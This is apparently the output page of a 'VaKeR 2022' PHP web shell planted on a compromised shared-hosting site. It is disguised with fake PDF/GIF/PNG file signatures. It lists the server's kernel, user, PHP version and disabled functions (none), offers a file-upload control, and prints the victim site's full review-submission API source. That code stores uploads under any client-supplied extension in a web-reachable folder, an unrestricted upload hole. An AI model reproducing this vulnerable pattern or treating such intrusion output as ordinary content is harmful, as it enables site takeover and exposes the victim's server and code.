.

%PDF- %GIF98; %PNG; . Cyber Programmer

Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory : /home1/ndkhermy/www/website_6ca89795/api/

Upload File :

Current File : /home1/ndkhermy/www/website_6ca89795/api/submit_review.php

<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL','https://meatandgo.fr/');

function response($status,$message,$data=[])
{
    echo json_encode([
        "status"=>$status,
        "message"=>$message,
        "data"=>$data
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);
    exit;
}

$order_id = intval($_POST['order_id'] ?? 0);

$rating = intval($_POST['rating'] ?? 0);

$review = trim($_POST['review'] ?? '');

if($order_id <= 0 || $rating <= 0)
{
    response(false,"Required Fields Missing",[

        "required_fields"=>[
            "order_id",
            "rating"
        ],

        "sample_request"=>[
            "order_id"=>74,
            "rating"=>5,
            "review"=>"Excellent quality meat"
        ]
    ]);
}

/*
|--------------------------------------------------------------------------
| Order Check
|--------------------------------------------------------------------------
*/

$orderQry = mysqli_query(
    $conn,
    "SELECT id
     FROM orders
     WHERE id='$order_id'
     AND user_id='$user_id'
     LIMIT 1"
);

if(mysqli_num_rows($orderQry)==0)
{
    response(false,"Invalid Order");
}

/*
|--------------------------------------------------------------------------
| Upload Images
|--------------------------------------------------------------------------
*/

$uploadedImages = [];

if(isset($_FILES['review_images']))
{
    $totalFiles = count($_FILES['review_images']['name']);

    for($i=0;$i<$totalFiles;$i++)
    {
        if(!empty($_FILES['review_images']['name'][$i]))
        {
            $ext = pathinfo(
                $_FILES['review_images']['name'][$i],
                PATHINFO_EXTENSION
            );

            $fileName =
                time().
                rand(1111,9999).
                ".".
                $ext;

            $uploadPath =
                "../uploads/reviews/".
                $fileName;

            if(move_uploaded_file(
                $_FILES['review_images']['tmp_name'][$i],
                $uploadPath
            ))
            {
                $uploadedImages[] =
                    BASE_URL.
                    "uploads/reviews/".
                    $fileName;
            }
        }
    }
}

/*
|--------------------------------------------------------------------------
| Save Review
|--------------------------------------------------------------------------
*/

mysqli_query(
    $conn,
    "INSERT INTO reviews
    (
        user_id,
        order_id,
        rating,
        review,
        review_images
    )
    VALUES
    (
        '$user_id',
        '$order_id',
        '$rating',
        '".mysqli_real_escape_string($conn,$review)."',
        '".mysqli_real_escape_string(
            $conn,
            json_encode($uploadedImages)
        )."'
    )"
);

$review_id = mysqli_insert_id($conn);

response(true,"Review Submitted Successfully",[

    "review_id"=>$review_id,

    "order_id"=>$order_id,

    "rating"=>$rating,

    "review"=>$review,

    "images"=>$uploadedImages
]);

?>

VaKeR 2022